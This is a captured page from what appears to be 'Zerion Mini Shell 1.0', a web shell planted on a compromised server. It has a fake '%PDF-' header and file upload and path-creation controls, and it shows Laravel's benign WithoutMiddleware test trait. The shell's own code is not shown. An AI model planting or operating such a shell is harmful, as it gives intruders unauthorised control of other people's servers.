%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/calling_code/vendor/laravel/framework/src/Illuminate/Foundation/Testing/
Upload File :
Create Path :
Current File : //home/silvzytp/calling_code/vendor/laravel/framework/src/Illuminate/Foundation/Testing/WithoutMiddleware.php

<?php

namespace Illuminate\Foundation\Testing;

use Exception;

trait WithoutMiddleware
{
    /**
     * Prevent all middleware from being executed for this test class.
     *
     * @throws \Exception
     */
    public function disableMiddlewareForAllTests()
    {
        if (method_exists($this, 'withoutMiddleware')) {
            $this->withoutMiddleware();
        } else {
            throw new Exception('Unable to disable middleware. MakesHttpRequests trait not used.');
        }
    }
}

Zerion Mini Shell 1.0